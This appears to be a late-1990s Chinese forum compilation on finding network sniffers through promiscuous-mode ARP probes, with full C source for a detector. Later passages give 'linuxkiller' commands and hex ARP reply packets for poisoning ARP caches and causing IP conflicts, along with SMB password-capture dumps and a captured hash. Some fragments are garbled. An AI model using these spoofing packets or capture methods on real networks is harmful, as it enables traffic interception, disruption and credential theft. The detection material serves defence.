如何检测Sniffer 技术细节 L0pht 公司已经说明了,如下: Win9x/NT 正常情况下,就是说不在混乱模式,网卡检测是不是广播地址 要比较看收到的目的以太网址是否等于ff.ff.ff.ff.ff.ff 是则认为是广播地址。 在混乱模式时,网卡检测是不是广播地址只看收到包的目的以太 网址的第一个八位组值,是0xff则认为是广播地址。 利用这点细微差别就可以检测出Sniffer. Linux 以前就提出过,一些版本内核有这种问题: 当混杂模式时,每个包都被传到了操作系统内核以处理。 在处理某些包,只看IP地址而不看以太网头中的源物理地址。 所以: 使用一个不存在的目的MAC,正确的目的IP,受影响 的内核将会由于是混杂模式而处理它,并将之交给相应系统 堆栈处理。从而实现检测Sniffer 总之,只要发一个以太网头中目的地址是ff.00.00.00.00.00 的ARP包(l0pht公司是ff.ff.ff.ff.ff.00)就可以检测出Linux和 Windows网卡处于混乱状态的计算机. 以下是一个Linux下用于检测Linux下Sniffer的程序,很多地方都贴 过了,我只改了一句话,这样也可以检测出Windows机器。:) /* gcc -lbsd -O3 -o linuxanti linuxanti.c */ /* Network Promiscuous Ethernet Detector. Linux 2.0.x / 2.1.x, libc5 & GlibC ----------------------------------------- (c) 1998 [email protected] ----------------------------------------- Scan your subnet, and detect promiscuous Windows & linuxes. It really works, not a joke. ----------------------------------------- $Id: neped.c,v 1.4 1998/07/20 22:31:52 savage Exp $ */ #include #include /* for nonblocking */ #include #include /* basic socket definitions */ #include /* for ifreq */ #include /* inet(3) functions */ #define ETH_P_ARP 0x0806 #define MAX_PACK_LEN 2000 #define ETHER_HEADER_LEN 14 #define ARPREQUEST 1 #define ARPREPLY 2 #define perr(s) fprintf(stderr,s) struct arp_struct { u_char dst_mac[6]; u_char src_mac[6]; u_short pkt_type; u_short hw_type; u_short pro_type; u_char hw_len; u_char pro_len; u_short arp_op; u_char sender_eth[6]; u_char sender_ip[4]; u_char target_eth[6]; u_char target_ip[4]; }; union { u_char full_packet[MAX_PACK_LEN]; struct arp_struct arp_pkt; } a; #define full_packet a.full_packet #define arp_pkt a.arp_pkt char * inetaddr ( u_int32_t ip ) { struct in_addr in; in.s_addr = ip; return inet_ntoa(in); } char * hwaddr (u_char * s) { static char buf[30]; sprintf (buf, "%02X:%02X:%02X:%02X:%02X:%02X", s[0], s[1], s[2], s[3], s[4], s[5]); return buf; } void main (int argc, char **argv) { int rec; int len, from_len, rsflags; struct ifreq if_data; struct sockaddr from; u_int8_t myMAC[6]; u_int32_t myIP, myNETMASK, myBROADCAST, ip, dip, sip; if (getuid () != 0) { perr ("You must be root to run this program!/n"); exit (0); } if (argc != 2) { fprintf(stderr,"Usage: %s eth0/n", argv[0]); exit (0); } if ((rec = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) < 0) { perror("socket"); exit (0); } printf ("----------------------------------------------------------/n"); strcpy (if_data.ifr_name, argv[1]); if (ioctl (rec, SIOCGIFHWADDR, &if_data) < 0) { perr ("can't get HW addres of my interface!/n"); exit(1); } memcpy (myMAC, if_data.ifr_hwaddr.sa_data, 6); printf ("> My HW Addr: %s/n", hwaddr (myMAC)); if (ioctl (rec, SIOCGIFADDR, &if_data) < 0) { perr ("can't get IP addres of my interface!/n"); exit(1); } memcpy ((void *) &ip, (void *) &if_data.ifr_addr.sa_data + 2, 4); myIP = ntohl (ip); printf ("> My IP Addr: %s/n", inetaddr(ip)); if (ioctl (rec, SIOCGIFNETMASK, &if_data) < 0) perr ("can't get NETMASK addres of my interface!/n"); memcpy ((void *) &ip, (void *) &if_data.ifr_netmask.sa_data + 2, 4); myNETMASK = ntohl (ip); printf ("> My NETMASK: %s/n", inetaddr(ip)); if (ioctl (rec, SIOCGIFBRDADDR, &if_data) < 0) perr ("can't get BROADCAST addres of my interface!/n"); memcpy ((void *) &ip, (void *) &if_data.ifr_broadaddr.sa_data + 2, 4); myBROADCAST = ntohl (ip); printf ("> My BROADCAST: %s/n", inetaddr(ip)); if ((rsflags = fcntl (rec, F_GETFL)) == -1) { perror ("fcntl F_GETFL"); exit (1); } if (fcntl (rec, F_SETFL, rsflags | O_NONBLOCK) == -1) { perror ("fcntl F_SETFL"); exit (1); } printf ("----------------------------------------------------------/n"); printf ("> Scanning ..../n"); for (dip = (myIP & myNETMASK) + 1; dip < myBROADCAST; dip++) { bzero(full_packet, MAX_PACK_LEN); memcpy (arp_pkt.dst_mac, "/255/255/255/255/255/0", 6); /* ff:ff:ff:ff:ff:00 :) */ /* Only change this line! */ memcpy (arp_pkt.src_mac, myMAC, 6); arp_pkt.pkt_type = htons( ETH_P_ARP ); arp_pkt.hw_type = htons( 0x0001 ); arp_pkt.hw_len = 6; arp_pkt.pro_type = htons( 0x0800 ); arp_pkt.pro_len = 4; arp_pkt.arp_op = htons (ARPREQUEST); memcpy (arp_pkt.sender_eth, myMAC, 6); ip = htonl (myIP); memcpy (arp_pkt.sender_ip, &ip, 4); memcpy (arp_pkt.target_eth, "/0/0/0/0/0/0", 6); ip = htonl (dip); memcpy (arp_pkt.target_ip, &ip, 4); strcpy(from.sa_data, argv[1]); from.sa_family = 1; if( sendto (rec, full_packet, sizeof (struct arp_struct), 0, &from, sizeof(from)) < 0) perror ("sendto"); usleep (50); len = recvfrom (rec, full_packet, MAX_PACK_LEN, 0, &from, &from_len); if (len <= ETHER_HEADER_LEN) continue; memcpy (&ip, arp_pkt.target_ip, 4); memcpy (&sip, arp_pkt.sender_ip, 4); if (ntohs (arp_pkt.arp_op) == ARPREPLY && ntohl (ip) == myIP && ( dip - ntohl(sip) >= 0 ) && ( dip - ntohl(sip) <= 2 ) ) { printf ("*> Host %s, %s **** Promiscuous mode detected !!!/n", inetaddr (sip), hwaddr (arp_pkt.sender_eth)); } } printf ("> End./n"); exit (0); } Sniffer Scaner Ace Studio , 1999. ([email protected]) 运行环境:Win95/98,无需Winsock 本程序可以检测出本网络内正在运行Sniffer的计算机,或者说 网卡处于混乱状态。对方的操作系统可以是Win95/98/NT,Linux。 Sniffer一般只能监听连到同一集线器上计算机(这主要看网络的 拓扑结构),但检测Sniffer可没这种限制,只要与对方通讯可以不过 路由。只要符合此条件其他网络中的Sniffer也可以查出。 一般不必配置,程序会自动检测网络配置。一旦扫描发现有人窃 听,会提示对方的IP, MAC,并会记录到日志(Antilog.txt)中。 注:有时候会误报。一般是某些网卡驱动本身的问题 可以在以下位置下载 http://202.115.16.8/~skyfly/net/anti.zip http://www2.neiep.edu.cn/ace/net/anti.zip 每台主机进入LAN时会向整个子网发送免费ARP通知报文,即该request包是 利用广播方式请求解析自己的IP地址,但源和目标IP已经就位了。 免费ARP(源IP和目标IP一致)请求意味着一个包就影响了整个子网, 如果一个错误的免费ARP请求出现,整个子网都被搅乱了。 即使主机不发送免费ARP报文,也会因为后续的request请求导致自己的IP-MAC 对进入LAN上所有主机的ARP Cache中,所以冲突与否与免费ARP包没有必然 联系。这个结论可以这样理解,一台Linux主机与pwin98争夺IP地址,Linux 主机将争夺成功,pwin98却一直在报告IP冲突,显然后面所有的IP冲突报告 都与免费ARP包没有关系了。 in_arpinput() 函数是4.XBSD-Lite2中的经典实现 1. 如果针对本机某个IP地址的请求到达,响应被送出。ARP入口 被建立(如果相应入口不存在)。这个优化避免过多的ARP报文交换。 2. 如果ARP响应到达,相应的ARP入口建立完成,异己主机的MAC地址 存储在sockaddr_dl结构中,队列中目标是该异己主机的报文现在 可以发送了。 3. 假如异己主机发送了一个ARP请求包或者响应包,包中源IP地址等 于自己的IP地址,那么两台之中必有一台错误配置了IP地址。Net/3 侦测到这个错误并向管理员报告。 4. 主机接收到来自异己主机的ARP包,该异己主机的ARP入口已经存在, 若包中异己主机的MAC地址已经改变,则相应的ARP入口中的MAC地址 得到更新。 5. 主机可以配置成proxy ARP server。这意味着它代替目标主机响应 ARP请求。卷I的4.6节讨论了proxy ARP。用arp命令可以配置一台主 机成为proxy ARP server。 从3可以看到什么时候进行了冲突监测,从4可以看到什么时候发生了ARP Cache 动态修改。 ./linuxkiller -o 0x80000200 -c 0x0806 -b140002 -q eth0 捕捉一个ARP REPLY报文的完整二进制显示 byteArray [ 60 bytes ] ----> 00000000 00 00 21 CE 28 A4 00 00-21 D1 22 F1 08 06 00 01 ..!??.!??... 00000010 08 00 06 04 00 02 00 00-21 D1 22 F1 C0 A8 43 6F ........!疡"括Co 00000020 00 00 21 CE 28 A4 C0 A8-43 74 20 20 20 20 20 20 ..!韦(括Ct 00000030 20 20 20 20 20 20 20 20-20 20 20 20 [arp/rarp] hardware = 0001 protocol = 0800 hardAddLen = 06 proAddLen = 04 00:00:21:D1:22:F1 -> 00:00:21:CE:28:A4 192.168.67.111 -> 192.168.67.116 ( ARP Reply ) 00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F 00 00 00 00 00 00 C0 A8-43 74 这种报文导致192.168.67.116的ARP CACHE中出现 192.168.67.111的MAC是00-00-00-00-00-00 52:54:AB:13:E1:C8 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 FF-FF-FF-EE-EE-EE C0 A8 43 6C 00 00 00 00 00 00 C0 A8-43 7C 这种报文导致192.168.67.124的ARP CACHE中出现 192.168.67.108的MAC是FF-FF-FF-EE-EE-EE 00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F 00 00 00 00 00 00 00 00 00 00 这种不可以,因为192.168.67.116被写成了0.0.0.0 00 00 00 11 11 11 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8-43 6A 这种导致192.168.67.106上报告ARP冲突,引发冲突的 MAC地址是00-00-22-F1-21-D1 00-00-21-D1-22-F1 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8 43 65 这种导致192.168.67.101上报告ARP冲突 把上面的报文cat > linuxkiller.byteArray,然后执行 ./linuxkiller -k linuxkiller.byteArray -w 5 将导致发送了五个冲突包出去,会立刻看到效果。 如果是在Windows下,用NetXray发送也可以,不过NetXray有个毛病, 非要一定大小的报文才给发送,不能发送任意字节的报文,所以可能 你需要填充部分数据。ARP报文没有校验和的概念,所以也不用考虑 重新计算校验和的问题。 冲突没有什么意思,改写ARP Cache有点用,就是所以arp spoof的 一部分。免费ARP是移动IP所需要的。Linux解决办法是始终尊重 ATF_PERM标志, 就是说静态ARP入口不会在ARP性能优化规则下被接收 到的ARP包动态改变。Pwin98下用arp -s建立的静态ARP入口会被接收到 的ARP包动态改变,至少我测试过向全子网广播发送ARP请求包,企图修 改对应网关IP的MAC地址为错误的MAC,成功。因为ARP广播包不受 Lan Switch或者Smart Hub的影响,所以这是很无奈的一个结论。 struct mysmbhdr { u_char smb_c[4]; /* 0xFF SMB,必须是这四个字节 */ u_char smb_command; /* 目前只处理0x25 */ u_char smb_errorclass; /* 0 Success,当这四个字节全0时才继续处 理 * u_char smb_reserved0; /* 0x00 */ u_short smb_errorcode; /* 00 00 Success */ u_char smb_flags1; /* 0x80 Server Response,只处理这种情况 */ u_short smb_flags2; /* 主机字节顺序,不要理会 */ u_char smb_pad0[12]; /* 全0的填充字节 */ u_short smb_treeid; /* 主机字节顺序 */ u_short smb_callerpid; /* 主机字节顺序 */ u_short smb_unauthuid; /* 主机字节顺序 */ u_short smb_multiplexid; /* 主机字节顺序 */ u_char smb_countofparam; /* 从smb_sentparambytes开始有多少个u_sh ort# 不要理会 */ u_short smb_sentparambytes; /* 主机字节顺序 */ u_short smb_totalsentdata; /* 主机字节顺序 */ u_char smb_countofparam; /* 从smb_sentparambytes开始有多少个u_sh ort? u_short smb_sentparambytes; /* 主机字节顺序 */ u_short smb_totalsentdata; /* 主机字节顺序 */ u_short smb_reserved1; /* 00 00 */ u_short smb_paramcount; /* 主机字节顺序 */ u_short smb_paramoffset; /* 主机字节顺序,利用这个偏移去取共享资 源个 ?*/ u_short smb_paramdisplacement; /* 主机字节顺序 */ u_short smb_datacount; /* 主机字节顺序 */ u_short smb_dataoffset; /* 主机字节顺序,从这个偏移开始处理 */ u_short smb_datadisplacement; /* 主机字节顺序 */ }; 口令明文传输的时候 ./linuxkiller -v 000021d40b92 -u 000000111111 -a 110000 -b 2575006500680B32 -f 2200 从192.168.67.106到192.168.67.107单向MAC过滤,分析SMB报文,对TCP数据区偏移25H 处进进? 字节过滤u.e.h.2 [ tcpsmb ] 192.168.67.106 [ 1190 ] --> 192.168.67.107 [ 139 ] byteArray [ 143 bytes ] ----> 00000000 00 00 00 8B FF 53 4D 42-73 00 00 00 00 10 00 00 ...婱Bs....... 00000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16 ..............? 00000020 01 00 82 A6 0D 75 00 65-00 68 0B 32 00 00 00 8A ..偊.u.e.h.2... 00000030 14 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28 ............... ( 00000040 00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48 ...SCZ.VENUSTEC H 00000050 00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E .Windows 4.0.Wi n 00000060 64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00 dows 4.0...... 00000070 09 00 1B 00 XX XX XX XX-XX XX XX XX 00 5C 5C 56 ....XXXXXXXX.// V 00000080 45 4E 55 53 5C 53 43 5A-00 3F 3F 3F 3F 3F 00 ENUS/SCZ.?????. 口令加密传输 ./linuxkiller -u 000000111111 -a 110000 -b 2575006500680B32 -f 200 [ tcpsmb ] 192.168.67.106 [ 1136 ] --> 192.168.67.107 [ 139 ] byteArray [ 158 bytes ] ----> 00000000 00 00 00 9A FF 53 4D 42-73 00 00 00 00 10 00 00 ...歁Bs....... 00000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16 ..............? 00000020 01 00 01 4E 0D 75 00 65-00 68 0B 32 00 00 00 C7 ...N.u.e.h.2... 00000030 1F 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28 ............... ( 00000040 00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48 ...SCZ.VENUSTEC H 00000050 00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E .Windows 4.0.Wi n 00000060 64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00 dows 4.0...... 00000070 18 00 2A 00 E4 7F 2C 5D-88 04 86 D5 2A 96 73 3C ..*.,]?喺*杝< 00000080 4E 95 67 40 B8 38 F5 CB-6C 11 6D 1C 5C 5C 56 45 N昰@?跛l.m.//V E 00000090 4E 55 53 5C 53 43 5A 00-3F 3F 3F 3F 3F 00 NUS/SCZ.?????. 53435a00 SCZ 56454e55535445434800 VENUSTECH 57696e646f777320342e3000 Windows 4.0 57696e646f777320342e3000 Windows 4.0 04ff000000020018002a00 e47f2c5d880486d52a96733c4e956740b838f5cb6c116d1c 5c5c56454e55535c53435a00 //VENUS/SCZ 3f3f3f3f3f00 用网络刺客保存下来的结果 SCZ/VENUSTECH:3:9f62be236e88c1be:000053435a0056454e5553544543480057696e646f7 7732 :000000000000000000000000000000000000000000000000 大凡兄弟们给程序,不少是去掉了头文件, 这个讨论下去没有意义,我也不说什么了,反正下面的 头文件会用的自己用去。注意,有些头文件是有顺序 的,我给的是可以用的,你如果增加或减少了什么, 不要动已经给出的顺序。linux下编译socket程序不 象solaris下有-lnsl -lsocket之类的开关,直接gcc就 可以了 #include /* for isalpha */ #include #include #include #include /* ANSI C header file */ #include /* for syslog() */ #include #include /* for nonblocking */ #include #include /* for getpass */ #include /* for pthread_ */ #include #include #include /* timespec{} for pselect() */ #include #include /* for mmap */ #include /* for poll */ #include /* basic socket definitions */ #include /* for S_xxx file mode constants */ #include /* timeval{} for select() */ #include /* basic system data types */ #include /* for iovec{} and readv/writev */ #include /* for Unix domain sockets */ #include #include /* for share memory */ #include #include /* for PAGE_SIZE */ #include /* for ifreq */ #include #include /* sockaddr_in{} and other Internet defns */ #include /* for iphdr */ #include /* for icmphdr */ #include /* for igmp */ #include /* for tcphdr */ #include /* for udphdr */ #include /* for arphdr */ #include /* inet(3) functions */ #include /* for ethhdr #define ETH_P_ALL 0x0003 */ #include /* for struct sockaddr_ll */ #include #include #include /* for sysctl */ 首先非常感谢 skyfly 前面的介绍,解答了我一个迷惑很久的问题。 上次从清华搞回linux源代码编译运行前自以为是地修改了 下面这条语句中的mac地址,以前我以为只要是fake mac就可以 到达探测效果,没有想到还有其他窍道。现在用下面这条语句,就可 以同时针对windows和linux了 memcpy( arp_pkt.dst_mac, "/xff/0/0/0/0/0", 6 ); /* ff:00:00:00:00:00 */ 估计源代码也是书写错误,不应该是/255/255/255/255/255/0的, 这种情况下只能监测出linux下的混杂模式网卡,而不能探测到NetXray的存在。 因为发送出去的是AD:AD:AD:AD:AD:0,这个fake mac依旧发现了SOCK_PACKET的存在, 但没有发现NetXray的存在。而ff:00:00:00:00:00发现了 NetXray和IPMan的存在, 后者也就意味着所有使用Vpacket.vxd的都将被发现,包括网 络刺客和S-Term。 不过 pred 也指出过,对网卡的promisc模式的监测是根据操作系统的不同反应来进行 的,监视的时候可以不装任何协议,这样就查不出promisc模式的网卡了。 虽然我没有在不装任何协议的情况下进行过监听,但 pred 指出 的这个问题应该是存在的。建议这样,把某台已经可以正常连入 Lan的Pwin98的所有协议都卸载掉,重新安装NetXray或者直接使 用IPMan进行监听,就知道效果如何了。尤其是那种专门用来进 行局域网分析的硬件设备,会在自己本机不装网络协议的情况下 进行监听呢,所以还是很有实际意义的。 只要启动了NetXray,网卡就进入了混杂模式,这个可以从它即 使不进行监听也会报告网络冲突包出现得到证实,同样Boy系列 的工具、LinkViewPro等等都一样,只要启动了, 即使没有进行监听,也会设置网卡到混杂模式,退出后取消混杂 模式。但是使用Vpacket.vxd的那些工具不是的,网络刺客,如 果你不选择进行监听,网卡依旧在普通模式。不知道 使用packet.sys的NT下的监听工具又是怎么个样子,没测试过。 在Linux下,如果你是root用户,ifconfig eth0 promisc后,运 行antisniff,发现也被监测到了,可以逗别人玩玩嘛,让他来 找你麻烦,然后开始诡辩。 虽然使用过L0pht的antisniff,一直奇怪为什么自己从清华弄来 的源代码不行而它的1.01可以,今天经skyfly一解释,明白啦, 再次感谢 skyfly 。看来了解原理是一回事情,深入了解后加以 利用又是另外一回事情,早该用NetXray看看antisniff发了些什 么探测包出来的,sigh 如果探测出来有混杂模式网卡存在,你该怎么办,办法是冷静, 不要气汹汹地去找人, 没有意义,也不要无聊地进行所谓的自卫反击,目前最严重的问 题是监听BBS,这个可以通过使用ssh解决,华中站等Y2K危机过 了,可以考虑使用sshd。 最后需要说明的是,这种监测是发送了大量报文到网络上的,网 络分析软件会立刻发现出现异常高峰报文,如果你监测0-255范 围,结果255的兄弟立刻断线,你就无法发现他刚才 监听过你。而且,最好不要频繁监测